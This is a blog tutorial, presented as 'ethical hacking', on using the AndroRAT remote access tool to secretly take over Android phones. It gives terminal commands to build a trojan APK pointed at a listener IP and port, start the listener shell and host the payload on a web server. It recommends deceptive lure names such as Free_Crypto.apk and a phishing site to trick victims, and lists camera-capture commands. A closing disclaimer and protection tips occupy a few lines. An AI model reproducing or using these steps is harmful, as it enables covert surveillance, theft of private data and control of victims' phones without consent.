AndroRAT: Hacking Mobile Phones

Man wearing Anonymous mask in a server room

How to Hack Mobile Phones with AndroRAT

Hacking Android devices is scarily easy, and we are going to show you just how it is done with a tool called AndroRAT. After reading this guide if you’re an Android user, hopefully you will think twice about cyber criminals and the dangers of accepting third-party software on to your devices. This is an ethical hacking guide, for educational purposes only. Stay on the right side of the law guys.


“AndroRAT” is short for “Android Remote Administration Tool.” It’s a type of malware or software that can be used to remotely control and monitor Android devices. It is typically used for malicious purposes and can be a serious privacy and security threat.

AndroRAT allows an attacker to access and control an Android device without the device owner’s knowledge or consent. Once installed on a target device, it can perform various actions, such as:

  • Accessing and copying files from the device.
  • Monitoring and recording phone calls.
  • Capturing text messages.
  • Recording audio from the device’s microphone.
  • Tracking the device’s GPS location.
  • Accessing the device’s camera to take pictures and videos.
  • Sending and receiving messages on behalf of the device owner.
  • Controlling the device remotely, such as locking or unlocking the screen.
AndroRAT Installation:

This guide presumes you are running a Linux machine and all steps laid out here are for Linux.

You can find out more about AndroRat on GitHub here:

Open terminal and enter the following commands:

git clone

To clone the AndroRAT GIT repository.

cd AndroRat

Enters the AndroRat Directory.


Lists the contents of the AndroRat Directory.

cat requirements.txt

Displays the requirements.txt contents to terminal.

pip install -r requirements.txt

Installs Required files for AndroRat.

Building The Payload

We need to create a file, a payload that we use to infect someone’s phone for us to gain access and take control and it, will be wrapped in an innocent looking .apk container.

python3 --build -i -p 4444 -o dangerous.apk
  • -i is the IP of the listener machine
  • -p is the listener port
  • -o is the name of your RAT

Your .apk should be named with something that will appeal to your target to lure them into installing it without thinking, something like:

  • Free_Crypto.apk
  • Security_Patch_2022.apk
  • FreeHD_Movies.apk
  • FreeGames.apk
  • WoWcher-Deals.apk
  • Free_International_Calls.apk

With all that in mind and satisfied hit enter to build the apk. Once the process is complete check to see apk was saved.

Setting Up the Listener

Now we have the apk ready we need to set up the listener ready for the event. Open a new terminal type:

python3 --shell -i -p 4444

This terminal is now the listener and must be open when the payload is activated. As soon as the payload is installed to the victim’s device the connection is made.


Well, that’s the easy bit done, we need to get the payload installed onto your targets phone. You need a host to serve the file, the easiest way is to set up a webserver and host the payload yourself. Maybe you can trick them with a link to the file, but it may take a little more finesse. You can build a simple phishing website fast aimed at what the target likes hopefully convincing them to download the payload. The possibilities are endless you figure it out.

Open another terminal and type:

  • sudo systemctl start apache2.service
  • sudo systemctl status apache2.service
  • cd AndroRat
  • sudo cp dangerous.apk /var/www/html/

Now we have the apk in an online accessible location we need to get it to the victim device.

Once the victim clicks the link and downloaded the apk they will be asked to grant access, if everything is accepted you will have full control.

If the payload gets excepted and if all went to plan, we should see a welcome message on the listener window.

Here are some commands we can run from the listener window:

  • help (This will list all the commands)
  • camList (To list cameras)
  • takepic 1 (To use the front camera to take a picture)
  • takepic 0 (To use the back camera to take a picture)

All captured images will be stored on your device.


AndroRAT is pretty cool, but if the payload is closed, you lose access completely. Still, it works very well while it is running.

It’s important to note that using AndroRAT or any similar software for unauthorized access to someone else’s Android device is illegal and unethical. It’s a form of cybercrime and a serious invasion of privacy. To protect your device, make sure to only download apps from trusted sources, keep your device’s software up to date, and use strong security measures like screen lock codes or biometric authentication.

Ethical Hacking Guides

We have many guides to help you on your journey into the world of Ethical Hacking. If this is something you find interesting, please take a look here today: Ethical Hacking Guides.


ALFA Network Wi-Fi Adapter:

This Wi-Fi adapter is essential if you are to learn Wi-Fi Hacking.

Luke Barber

Hello, fellow tech enthusiasts! I'm Luke, a passionate learner and explorer in the vast realms of technology. Welcome to my digital space where I share the insights and adventures gained from my journey into the fascinating worlds of Arduino, Python, Linux, Ethical Hacking, and beyond. Armed with qualifications including CompTIA A+, Sec+, Cisco CCNA, Unix/Linux and Bash Shell Scripting, JavaScript Application Programming, Python Programming and Ethical Hacking, I thrive in the ever-evolving landscape of coding, computers, and networks. As a tech enthusiast, I'm on a mission to simplify the complexities of technology through my blogs, offering a glimpse into the marvels of Arduino, Python, Linux, and Ethical Hacking techniques. Whether you're a fellow coder or a curious mind, I invite you to join me on this journey of continuous learning and discovery.

Leave a Reply

Your email address will not be published. Required fields are marked *

Verified by MonsterInsights